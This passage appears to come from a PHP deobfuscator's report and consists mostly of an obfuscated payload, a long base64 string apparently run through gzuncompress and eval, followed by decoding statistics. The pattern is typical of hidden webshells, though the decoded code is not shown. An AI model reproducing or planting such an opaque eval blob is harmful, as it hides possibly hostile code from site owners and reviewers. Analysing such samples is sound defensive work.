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"))); ?>

Function Calls

gzuncompress 1
base64_decode 1

Variables

None

Stats

MD5 6a01ade3ddfc7d867619e6975361f988
Eval Count 1
Decode Time 3168 ms